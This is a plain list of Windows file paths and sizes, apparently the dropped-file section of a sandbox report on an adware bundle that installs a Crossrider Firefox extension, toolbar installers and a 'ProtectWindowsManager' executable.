C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.2 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.3 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.0 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.1 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.6 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.7 (60589 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.4 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe.5 (10864 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\tokyo_sprite_full[2].png (2613 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\min.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\2.zip (21214 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\bk_shadow.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\2[1].zip (43727 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\code\code1.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\code\code2.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\checkbox_select.png (783 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\BaofengUpdate.exe (2461 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\1.zip (36009 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\422.json (520 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\MessageBox.xml (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\code\Thumbs.db (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\conf (83 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\UninstallManager.exe (66088 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\code\code4.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\code\code6.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\1[1].zip (176873 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\scrollbar.bmp (1552 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\lpd#4.3.0.xpi (6360 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\close.png (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\checkbox.png (545 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\bg1.png (2 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\loading_light.png (139 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\checked.png (222 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\loading_bg.png (159 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\DataBase (26688 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\Thumbs.db (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\bg.png (5064 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\button1.png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\uninstallDlg2.xml (784 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\ffsearch_toolbar!1.0.0.1025.xpi (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\unchecked.png (135 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\code\code3.jpg (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\code\code5.jpg (4 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\images\button.png (3 bytes)
C:\ProgramData\WindowsMangerProtect\ProtectWindowsManager.exe (3560 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj27FA.tmp\NSISEncrypt.dll (3421 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj27FA.tmp\IpConfig.dll (4254 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ilg (304040 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj27FA.tmp\inetc.dll (44 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj27FA.tmp\nsExec.dll (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj27FA.tmp\UserInfo.dll (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\SourceApp.mg.exe (7736 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\lm (128 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\tlg (41 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj27FA.tmp\ExecDos.dll (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\SourceApp\mj (3 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj27FA.tmp\nsJSON.dll (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj27FA.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj27FA.tmp\WmiInspector.dll (3137 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\221.js (419 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\234.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\288.js (557 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\1.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\crossrider_statusbar.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\26fb4756a8c6f8d7a0d7b2cbda1d27a6.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\8989e2bfb89a34c2242556646faa7490.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\68a9600b26d21bf5af43c531b1cce08b.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\173959e08d33bab23e26f653370b9ae1.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\255.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon24.png (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button1.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\ed58eef825c0f1309f135b601d3dfbf2.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\72da845517394131bbe2b76b826ae652.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\b13ae2906e2d1276be1bdb7d0eef3913.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\177.js (816 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\install.rdf (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\263.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\fc939b38977037006afcb94762ca271e.js (12 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\ef6f67b6f75d02f279b4fe7c049a50d2.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\9.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\skin.css (909 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\76db34acd3f225e0e364e0ce67e80ab5.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\6cdc90e0a599787eb3a434aad79dada3.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\32654288634bc44d9f935683639ea8fe.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\c3cef2dbf7e945435fa24787f5764bac.js (22 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\301.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\7edd666ba38ac7688f1d5a822e379d55.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\c4e5df90034c33d6fa569c648db0b133.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\262.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button5.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\63dad1f556e89ca8bf036e36a6d8f7ad.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\2eadcde48d81fc5e3430857e5cce12fb.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\281.js (489 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\183.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\26dd333716a6b96fbf79139aa7336fe5.js (26 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\extension.js (358 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\184.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\182.js (30 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\253.js (741 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\panelarrow-up.png (921 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button2.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button3.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\f4ea0821df79fc355859f5a5d5e78d81.js (651 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\22.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\9003500e763c40c5746c05c45106e221.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\345.js (619 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\button4.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\47a8bacb52b20804bbf9cd51d55ca2a1.js (28 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\browser.xul (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\4d2619b7686b1a089ea7f19bdf7543b1.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\195.js (414 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\b60b5a3e77ec6629e806cea4716eb900.js (134 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\220.js (1592 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\b8e07b7bfe2135841c5006fe960dc45e.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\13.js (14 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\57dbba2164940fd8ffda2602575170db.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\104.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\2a90a25174da8dc0b06664412c699a77.js (618 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\fed3d18877a790d7dc337836c146ddad.js (964 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\1672ea0ccdd0b0bd9650031821ab8db0.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\f08bc8f6f7944070995fec72db18ba23.js (357 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\fa7e157f9a132d44dd9d7548e3e0a251.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\14.js (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins.json (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\16.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\defaults\preferences\prefs.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\463372090c86eb4a0361c433935e4ab1.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\0410705b2e34f89cec04cfe4e1f7aaad.js (13 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\200.js (813 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\eb6ad66dcd3e1616bd41e3d164ccce5a.js (20 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\92e18c245b5d94b6cd757ccaca5e05d8.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\6601426ee287f53dd998ed29e045f1b9.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\a8a0b904623b6d6a9773b53e27cb4ab9.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\373.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\246.js (21 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\242.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\91.js (6772 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\popup.html (353 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon16.png (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\e5b7ce52148490700523f36cd12325e5.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\17040b54ca1861ce1ef051e53c2fa12f.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\7be3de95a2d394fd6b4c6581fcbe0847.js (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\252.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\64.js (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\4.js (3410 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\manifest.xml (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\78.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\47.js (15 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\options.xul (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\28.js (540 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\update.css (144 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\locale\en-US\translations.dtd (429 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\98.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\search_dialog.xul (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome.manifest (634 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\7.js (689 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\background.html (6 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\userCode\background.js (640 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\dialog.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon128.png (804 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon48.png (8 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\61319d434ae10cfee318964f34581de6.js (5 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\09fedbba1c97fe93208ab1b20d6b29e0.js (947 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\17.js (2473 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\91cbc3fa2b90670f164f8228d3629242.js (7 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BO2DN8F6QQHD9BUFYXWJ.temp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XIB5IHW7LTXNPC3K3MKM.temp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\N54XUXM3075F7CL0WX2G.temp (196 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspD5C7.tmp\appshat.exe (13992 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\AppsHat Mobile Apps\Uninstall.exe (164 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspD5C7.tmp\webplayer_installer.exe (8184 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspD5C7.tmp\inetc.dll (808 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ROWYV75Q\setup[1].exe (12408 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspD5C7.tmp\System.dll (23 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nspD5C6.tmp (10027 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\XTab_4.0.2.1716[1].exe (213505 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Temp\Wtmp736917\tmp\XTab_v4.0.exe (45822 bytes)
C:\Windows\SysWOW64\789349.html (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\F7QBP14P\rebirth[1].htm (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\close[1].png (1 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\e54e8c720dffffa619c3b0eacec9381a[1].png (3040 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\jquery-ui.min[1].js (126062 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\product[1].css (25 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\jquery.smooth-scroll.min[1].js (194 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\046C1ZNT\e94782c9200f8de809a50327879df1cc[1].png (19315 bytes)
C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\783GTYVS\5.0stars[1].jpg (2 bytes)
